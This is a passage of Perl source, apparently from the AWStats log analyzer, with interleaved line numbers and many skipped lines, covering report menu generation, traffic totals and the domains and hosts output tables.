"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
13464
if ( $QueryString =~ /lang=(\w+)/i ) {
13466
"<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
13468
if ( $QueryString =~ /debug=(\d+)/i ) {
13470
"<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
13472
if ( $FrameName eq 'mainright' ) {
13474
"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
13477
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
13480
print "<span style=\"font-size: 14px;\">";
13481
if ($DayRequired) { print "$Message[4] $DayRequired - "; }
13482
if ( $MonthRequired eq 'all' ) {
13483
print "$Message[6] $YearRequired";
13487
"$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
13491
print "</td></tr>\n";
13493
if ( $QueryString !~ /buildpdf/i ) {
13494
print "</table>\n";
13495
print "</td></tr></table>\n";
13498
print "</table>\n";
13501
if ( $FrameName ne 'mainleft' ) { print "</form>\n"; }
13502
else { print "<br />\n"; }
13506
# Call to plugins' function AddHTMLMenuHeader
13507
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
13509
# my $function="AddHTMLMenuHeader_$pluginname()";
13510
# eval("$function");
13511
my $function = "AddHTMLMenuHeader_$pluginname";
13515
# MENU (ON LEFT IF FRAME OR TOP)
13516
#---------------------------------------------------------------------
13517
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
13518
my $frame = ( $FrameName eq 'mainleft' );
13520
if ($Debug) { debug( "ShowMenu", 2 ); }
13523
if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
13524
|| $FrameName eq 'mainleft' )
13525
{ # If main page asked
13526
# Define link anchor
13528
( $FrameName eq 'mainleft' ? "$AWScript?${NewLinkParams}" : "" );
13529
if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
13530
$linkanchor .= "framename=mainright";
13532
$linkanchor =~ s/(&|&)$//;
13533
$linkanchor = XMLEncode("$linkanchor");
13537
( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
13540
my $linetitle; # TODO a virer
13541
if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
13542
my $menuicon = 0; # TODO a virer
13547
? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
13551
if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
13552
print( $frame? "<tr><td class=\"awsm\">" : "" );
13554
"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
13555
print( $frame? "</td></tr>\n" : " " );
13563
'month' => $ShowMonthStats ? 1 : 0,
13564
'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
13565
'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0,
13566
'hours' => $ShowHoursStats ? 4 : 0
13570
'daysofmonth' => 1,
13575
'month' => $Message[162],
13576
'daysofmonth' => $Message[138],
13577
'daysofweek' => $Message[91],
13578
'hours' => $Message[20]
13581
'when', $Message[93],
13582
'menu4.png', $frame,
13583
$targetpage, $linkanchor,
13584
$NewLinkParams, $NewLinkTarget,
13585
\%menu, \%menulink,
13591
'countries' => $ShowDomainsStats ? 1 : 0,
13592
'alldomains' => $ShowDomainsStats ? 2 : 0,
13593
'visitors' => $ShowHostsStats ? 3 : 0,
13594
'allhosts' => $ShowHostsStats ? 4 : 0,
13595
'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
13596
'unknownip' => $ShowHostsStats ? 6 : 0,
13597
'logins' => $ShowAuthenticatedUsers ? 7 : 0,
13598
'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
13599
'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
13600
'emailsenders' => $ShowEMailSenders ? 10 : 0,
13601
'allemails' => $ShowEMailSenders ? 11 : 0,
13602
'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
13603
'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
13604
'allemailr' => $ShowEMailReceivers ? 14 : 0,
13605
'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
13606
'robots' => $ShowRobotsStats ? 16 : 0,
13607
'allrobots' => $ShowRobotsStats ? 17 : 0,
13608
'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
13609
'worms' => $ShowWormsStats ? 19 : 0
13621
'emailsenders' => 1,
13624
'emailreceivers' => 1,
13633
'countries' => $Message[148],
13634
'alldomains' => $Message[80],
13635
'visitors' => $Message[81],
13636
'allhosts' => $Message[80],
13637
'lasthosts' => $Message[9],
13638
'unknownip' => $Message[45],
13639
'logins' => $Message[94],
13640
'alllogins' => $Message[80],
13641
'lastlogins' => $Message[9],
13642
'emailsenders' => $Message[131],
13643
'allemails' => $Message[80],
13644
'lastemails' => $Message[9],
13645
'emailreceivers' => $Message[132],
13646
'allemailr' => $Message[80],
13647
'lastemailr' => $Message[9],
13648
'robots' => $Message[53],
13649
'allrobots' => $Message[80],
13650
'lastrobots' => $Message[9],
13651
'worms' => $Message[136]
13654
'who', $Message[92],
13655
'menu5.png', $frame,
13656
$targetpage, $linkanchor,
13657
$NewLinkParams, $NewLinkTarget,
13658
\%menu, \%menulink,
13663
$linetitle = &AtLeastOneNotNull(
13664
$ShowSessionsStats, $ShowPagesStats,
13665
$ShowFileTypesStats, $ShowFileSizesStats,
13666
$ShowOSStats, $ShowBrowsersStats,
13667
$ShowScreenSizeStats
13670
print "<tr><td class=\"awsm\""
13671
. ( $frame ? "" : " valign=\"top\"" ) . ">"
13674
? "<img src=\"$DirIcons/other/menu2.png\" /> "
13677
. "<b>$Message[72]:</b></td>\n";
13680
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
13682
if ($ShowSessionsStats) {
13683
print( $frame? "<tr><td class=\"awsm\">" : "" );
13685
"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
13686
print( $frame? "</td></tr>\n" : " " );
13688
if ($ShowFileTypesStats) {
13689
print( $frame? "<tr><td class=\"awsm\">" : "" );
13691
"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
13692
print( $frame? "</td></tr>\n" : " " );
13694
if ($ShowPagesStats) {
13695
print( $frame? "<tr><td class=\"awsm\">" : "" );
13697
"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
13698
print( $frame? "</td></tr>\n" : " " );
13700
if ($ShowPagesStats) {
13702
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13707
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13709
"$AWScript?${NewLinkParams}output=urldetail")
13710
: "$PROG$StaticLinks.urldetail.$StaticExt"
13712
. "\"$NewLinkTarget>$Message[80]</a>\n";
13713
print( $frame? "</td></tr>\n" : " " );
13715
if ( $ShowPagesStats =~ /E/i ) {
13717
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13722
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13724
"$AWScript?${NewLinkParams}output=urlentry")
13725
: "$PROG$StaticLinks.urlentry.$StaticExt"
13727
. "\"$NewLinkTarget>$Message[104]</a>\n";
13728
print( $frame? "</td></tr>\n" : " " );
13730
if ( $ShowPagesStats =~ /X/i ) {
13732
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13737
$ENV{'GATEWAY_INTERFACE'}
13739
? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
13740
: "$PROG$StaticLinks.urlexit.$StaticExt"
13742
. "\"$NewLinkTarget>$Message[116]</a>\n";
13743
print( $frame? "</td></tr>\n" : " " );
13745
if ($ShowOSStats) {
13746
print( $frame? "<tr><td class=\"awsm\">" : "" );
13748
"<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
13749
print( $frame? "</td></tr>\n" : " " );
13751
if ($ShowOSStats) {
13753
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13758
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13760
"$AWScript?${NewLinkParams}output=osdetail")
13761
: "$PROG$StaticLinks.osdetail.$StaticExt"
13763
. "\"$NewLinkTarget>$Message[58]</a>\n";
13764
print( $frame? "</td></tr>\n" : " " );
13766
if ($ShowOSStats) {
13768
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13773
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13775
"$AWScript?${NewLinkParams}output=unknownos")
13776
: "$PROG$StaticLinks.unknownos.$StaticExt"
13778
. "\"$NewLinkTarget>$Message[0]</a>\n";
13779
print( $frame? "</td></tr>\n" : " " );
13781
if ($ShowBrowsersStats) {
13782
print( $frame? "<tr><td class=\"awsm\">" : "" );
13784
"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
13785
print( $frame? "</td></tr>\n" : " " );
13787
if ($ShowBrowsersStats) {
13789
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13794
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13796
"$AWScript?${NewLinkParams}output=browserdetail")
13797
: "$PROG$StaticLinks.browserdetail.$StaticExt"
13799
. "\"$NewLinkTarget>$Message[58]</a>\n";
13800
print( $frame? "</td></tr>\n" : " " );
13802
if ($ShowBrowsersStats) {
13804
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13809
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13811
"$AWScript?${NewLinkParams}output=unknownbrowser")
13812
: "$PROG$StaticLinks.unknownbrowser.$StaticExt"
13814
. "\"$NewLinkTarget>$Message[0]</a>\n";
13815
print( $frame? "</td></tr>\n" : " " );
13817
if ($ShowScreenSizeStats) {
13818
print( $frame? "<tr><td class=\"awsm\">" : "" );
13820
"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
13821
print( $frame? "</td></tr>\n" : " " );
13823
if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
13827
'referer' => $ShowOriginStats ? 1 : 0,
13828
'refererse' => $ShowOriginStats ? 2 : 0,
13829
'refererpages' => $ShowOriginStats ? 3 : 0,
13830
'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
13833
'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
13834
'keywords' => $ShowKeywordsStats ? 6 : 0
13839
'refererpages' => 2,
13845
'referer' => $Message[37],
13846
'refererse' => $Message[126],
13847
'refererpages' => $Message[127],
13848
'keys' => $Message[14],
13849
'keyphrases' => $Message[120],
13850
'keywords' => $Message[121]
13853
'referers', $Message[23],
13854
'menu7.png', $frame,
13855
$targetpage, $linkanchor,
13856
$NewLinkParams, $NewLinkTarget,
13857
\%menu, \%menulink,
13863
'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
13864
'misc' => $ShowMiscStats ? 2 : 0,
13865
'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
13868
'clusters' => $ShowClusterStats ? 5 : 0
13877
'filetypes' => $Message[98],
13878
'misc' => $Message[139],
13880
( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
13881
'clusters' => $Message[155]
13883
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
13884
$menu{"errors$_"} = $ShowHTTPErrorsStats ? 4 : 0;
13885
$menulink{"errors$_"} = 2;
13886
$menutext{"errors$_"} = $Message[31];
13889
'others', $Message[2],
13890
'menu8.png', $frame,
13891
$targetpage, $linkanchor,
13892
$NewLinkParams, $NewLinkTarget,
13893
\%menu, \%menulink,
13902
foreach ( 1 .. @ExtraName - 1 ) {
13903
$menu{"extra$_"} = $i++;
13904
$menulink{"extra$_"} = 1;
13905
$menutext{"extra$_"} = $ExtraName[$_];
13906
$menu{"allextra$_"} = $i++;
13907
$menulink{"allextra$_"} = 2;
13908
$menutext{"allextra$_"} = $Message[80];
13911
'extra', $Message[134],
13913
$targetpage, $linkanchor,
13914
$NewLinkParams, $NewLinkTarget,
13915
\%menu, \%menulink,
13918
print "</table>\n";
13927
#print ($frame?"":"<br />\n");
13932
elsif ( !$HTMLOutput{'main'} ) {
13934
$NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i;
13935
$NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i;
13936
$NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i;
13937
$NewLinkParams =~ s/(&|&)+/&/i;
13938
$NewLinkParams =~ s/^&//;
13939
$NewLinkParams =~ s/&$//;
13940
if ( !$DetailedReportsOnNewWindows
13941
|| $FrameName eq 'mainright'
13942
|| $QueryString =~ /buildpdf/i )
13944
print "<tr><td class=\"aws\"><a href=\""
13946
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13949
. ( ${NewLinkParams} ? "?${NewLinkParams}" : "" )
13951
: "$PROG$StaticLinks.$StaticExt"
13953
. "\">$Message[76]</a></td></tr>\n";
13957
"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
13959
print "</table>\n";
13964
# Call to plugins' function AddHTMLMenuFooter
13965
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
13967
# my $function="AddHTMLMenuFooter_$pluginname()";
13968
# eval("$function");
13969
my $function = "AddHTMLMenuFooter_$pluginname";
13973
# Exit if left frame
13974
if ( $FrameName eq 'mainleft' ) {
13979
# FirstTime LastTime
13982
foreach my $key ( keys %FirstTime ) {
13983
my $keyqualified = 0;
13984
if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
13985
if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
13986
if ($keyqualified) {
13987
if ( $FirstTime{$key}
13988
&& ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
13990
$FirstTime = $FirstTime{$key};
13992
if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
13993
$LastTime = $LastTime{$key};
13998
# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
13999
$TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
14000
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
14001
$TotalHostsKnown = $TotalHostsUnknown = 0;
14002
my $beginmonth = $MonthRequired;
14003
my $endmonth = $MonthRequired;
14004
if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
14005
for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
14006
my $monthix = sprintf( "%02s", $month );
14007
$TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
14008
|| 0; # Wrong in year view
14009
$TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
14010
|| 0; # Wrong in year view
14011
$TotalUnique += $MonthUnique{ $YearRequired . $monthix }
14012
|| 0; # Wrong in year view
14013
$TotalVisits += $MonthVisits{ $YearRequired . $monthix }
14014
|| 0; # Not completely true
14015
$TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
14016
$TotalHits += $MonthHits{ $YearRequired . $monthix } || 0;
14017
$TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
14018
$TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
14020
$TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
14022
$TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
14026
# TotalHitsErrors TotalBytesErrors
14027
my $TotalHitsErrors = 0;
14028
my $TotalBytesErrors = 0;
14029
foreach ( keys %_errors_h ) {
14031
# print "xxxx".$_." zzz".$_errors_h{$_};
14032
$TotalHitsErrors += $_errors_h{$_};
14033
$TotalBytesErrors += $_errors_k{$_};
14036
# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
14037
if ( !$TotalEntries ) {
14038
foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
14041
# TotalExits (if not already specifically counted, we init it from _url_x hash table)
14042
if ( !$TotalExits ) {
14043
foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
14046
# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
14047
if ( !$TotalBytesPages ) {
14048
foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
14051
# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
14052
if ( !$TotalKeyphrases ) {
14053
foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
14056
# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
14057
if ( !$TotalKeywords ) {
14058
foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
14061
# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
14062
if ( !$TotalSearchEnginesPages ) {
14063
foreach ( keys %_se_referrals_p ) {
14064
$TotalSearchEnginesPages += $_se_referrals_p{$_};
14068
# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
14069
if ( !$TotalSearchEnginesHits ) {
14070
foreach ( keys %_se_referrals_h ) {
14071
$TotalSearchEnginesHits += $_se_referrals_h{$_};
14075
# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
14076
if ( !$TotalRefererPages ) {
14077
foreach ( keys %_pagesrefs_p ) {
14078
$TotalRefererPages += $_pagesrefs_p{$_};
14082
# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
14083
if ( !$TotalRefererHits ) {
14084
foreach ( keys %_pagesrefs_h ) {
14085
$TotalRefererHits += $_pagesrefs_h{$_};
14089
# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
14090
$TotalDifferentPages ||= scalar keys %_url_p;
14092
# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
14093
$TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
14095
# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
14096
$TotalDifferentKeywords ||= scalar keys %_keywords;
14098
# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
14099
$TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
14101
# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
14102
$TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
14104
# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
14105
my $firstdaytocountaverage =
14106
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
14107
my $firstdaytoshowtime =
14108
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
14109
my $lastdaytocountaverage =
14110
$nowyear . $nowmonth . $nowday; # Set day cursor to today
14111
my $lastdaytoshowtime =
14112
$nowyear . $nowmonth . "31"; # Set day cursor to last day of month
14113
if ( $MonthRequired eq 'all' ) {
14114
$firstdaytocountaverage =
14116
. "0101"; # Set day cursor to 1st day of the required year
14118
if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
14119
|| $YearRequired ne $nowyear )
14121
if ( $MonthRequired eq 'all' ) {
14122
$firstdaytocountaverage =
14124
. "0101"; # Set day cursor to 1st day of the required year
14125
$firstdaytoshowtime =
14126
$YearRequired . "1201"
14127
; # Set day cursor to 1st day of last month of required year
14128
$lastdaytocountaverage =
14130
. "1231"; # Set day cursor to last day of the required year
14131
$lastdaytoshowtime =
14132
$YearRequired . "1231"
14133
; # Set day cursor to last day of last month of required year
14136
$firstdaytocountaverage =
14139
. "01"; # Set day cursor to 1st day of the required month
14140
$firstdaytoshowtime =
14143
. "01"; # Set day cursor to 1st day of the required month
14144
$lastdaytocountaverage =
14147
. "31"; # Set day cursor to last day of the required month
14148
$lastdaytoshowtime =
14151
. "31"; # Set day cursor to last day of the required month
14156
"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
14160
"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
14165
# Call to plugins' function AddHTMLContentHeader
14166
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
14169
# my $function="AddHTMLContentHeader_$pluginname()";
14170
# eval("$function");
14171
# to add unique visitors & number of visits, by J Ruano @ CAPSiDE
14172
if ( $ShowDomainsStats =~ /U/i ) {
14173
print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
14175
if ( $ShowDomainsStats =~ /V/i ) {
14176
print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
14179
my $function = "AddHTMLContentHeader_$pluginname";
14183
# Output particular part
14184
#-----------------------
14185
if ( scalar keys %HTMLOutput == 1 ) {
14187
if ( $HTMLOutput{'alldomains'} ) {
14188
print "$Center<a name=\"domains\"> </a><br />\n";
14190
# Show domains list
14193
if ( $HTMLOutput{'alldomains'} ) {
14194
$title .= "$Message[25]";
14195
$cpt = ( scalar keys %_domener_h );
14197
&tab_head( "$title", 19, 0, 'domains' );
14199
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
14200
if ( $ShowDomainsStats =~ /U/i ) {
14202
"<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
14204
if ( $ShowDomainsStats =~ /V/i ) {
14206
"<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
14208
if ( $ShowDomainsStats =~ /P/i ) {
14210
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14212
if ( $ShowDomainsStats =~ /H/i ) {
14214
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14216
if ( $ShowDomainsStats =~ /B/i ) {
14218
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14220
print "<th> </th>";
14222
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
14224
foreach ( values %_domener_h ) {
14225
if ( $_ > $max_h ) { $max_h = $_; }
14228
foreach ( values %_domener_k ) {
14229
if ( $_ > $max_k ) { $max_k = $_; }
14232
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
14234
foreach my $key (@keylist) {
14235
my ( $_domener_u, $_domener_v );
14239
if ( $max_h > 0 ) {
14241
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
14242
} # use max_h to enable to compare pages with hits
14243
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
14244
if ( $max_h > 0 ) {
14246
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
14248
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
14249
if ( $max_k > 0 ) {
14251
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
14254
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
14255
my $newkey = lc($key);
14256
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
14258
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
14259
. AltTitle("$Message[0]")
14260
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
14264
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
14265
. AltTitle("$newkey")
14266
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
14268
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
14269
if ( $ShowDomainsStats =~ /U/i ) {
14272
? $_domener_p{$key} / $TotalPages
14275
$_domener_u += ( $_domener_h{$key} / $TotalHits );
14277
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
14278
print "<td>$_domener_u ("
14279
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
14282
if ( $ShowDomainsStats =~ /V/i ) {
14285
? $_domener_p{$key} / $TotalPages
14288
$_domener_v += ( $_domener_h{$key} / $TotalHits );
14290
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
14291
print "<td>$_domener_v ("
14292
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
14295
if ( $ShowDomainsStats =~ /P/i ) {
14296
print "<td>$_domener_p{$key}</td>";
14298
if ( $ShowDomainsStats =~ /H/i ) {
14299
print "<td>$_domener_h{$key}</td>";
14301
if ( $ShowDomainsStats =~ /B/i ) {
14302
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
14304
print "<td class=\"aws\">";
14305
if ( $ShowDomainsStats =~ /P/i ) {
14307
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
14308
. AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
14311
if ( $ShowDomainsStats =~ /H/i ) {
14313
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
14314
. AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
14317
if ( $ShowDomainsStats =~ /B/i ) {
14319
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
14321
"$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
14326
$total_u += $_domener_u;
14327
$total_v += $_domener_v;
14328
$total_p += $_domener_p{$key};
14329
$total_h += $_domener_h{$key};
14330
$total_k += $_domener_k{$key} || 0;
14333
my $rest_u = $TotalUnique - $total_u;
14334
my $rest_v = $TotalVisits - $total_v;
14335
$rest_p = $TotalPages - $total_p;
14336
$rest_h = $TotalHits - $total_h;
14337
$rest_k = $TotalBytes - $total_k;
14343
{ # All other domains (known or not)
14345
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14346
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
14347
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
14348
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
14349
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14350
if ( $ShowDomainsStats =~ /B/i ) {
14351
print "<td>" . Format_Bytes($rest_k) . "</td>";
14353
print "<td class=\"aws\"> </td>";
14359
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
14360
print "$Center<a name=\"hosts\"> </a><br />\n";
14363
&ShowFormFilter( "hostfilter", $FilterIn{'host'},
14364
$FilterEx{'host'} );
14369
if ( $HTMLOutput{'allhosts'} ) {
14370
$title .= "$Message[81]";
14371
$cpt = ( scalar keys %_host_h );
14373
if ( $HTMLOutput{'lasthosts'} ) {
14374
$title .= "$Message[9]";
14375
$cpt = ( scalar keys %_host_h );
14377
&tab_head( "$title", 19, 0, 'hosts' );
14378
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
14379
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter
14380
if ( $FilterIn{'host'} ) {
14381
print "$Message[79] '<b>$FilterIn{'host'}</b>'";
14383
if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
14384
if ( $FilterEx{'host'} ) {
14385
print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'";
14387
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
14388
print "$cpt $Message[81]";
14389
if ( $MonthRequired ne 'all' ) {
14390
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
14392
"<br />$Message[102]: $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]";
14396
else { # Without filter
14397
if ( $MonthRequired ne 'all' ) {
14399
"$Message[102] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]";
14401
else { print "$Message[102] : " . ( scalar keys %_host_h ); }
14404
&ShowHostInfo('__title__');
14405
if ( $ShowHostsStats =~ /P/i ) {
14407
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14409
if ( $ShowHostsStats =~ /H/i ) {
14411
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14413
if ( $ShowHostsStats =~ /B/i ) {
14415
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14417
if ( $ShowHostsStats =~ /L/i ) {
14418
print "<th width=\"120\">$Message[9]</th>";
14421
$total_p = $total_h = $total_k = 0;
14423
if ( $HTMLOutput{'allhosts'} ) {
14424
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14427
if ( $HTMLOutput{'lasthosts'} ) {
14428
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14431
foreach my $key (@keylist) {
14432
my $host = CleanXSS($key);
14433
print "<tr><td class=\"aws\">"
14434
. ( $_robot_l{$key} ? '<b>' : '' ) . "$host"
14435
. ( $_robot_l{$key} ? '</b>' : '' ) . "</td>";
14436
&ShowHostInfo($key);
14437
if ( $ShowHostsStats =~ /P/i ) {
14439
. ( $_host_p{$key} ? $_host_p{$key} : " " )
14442
if ( $ShowHostsStats =~ /H/i ) {
14443
print "<td>$_host_h{$key}</td>";
14445
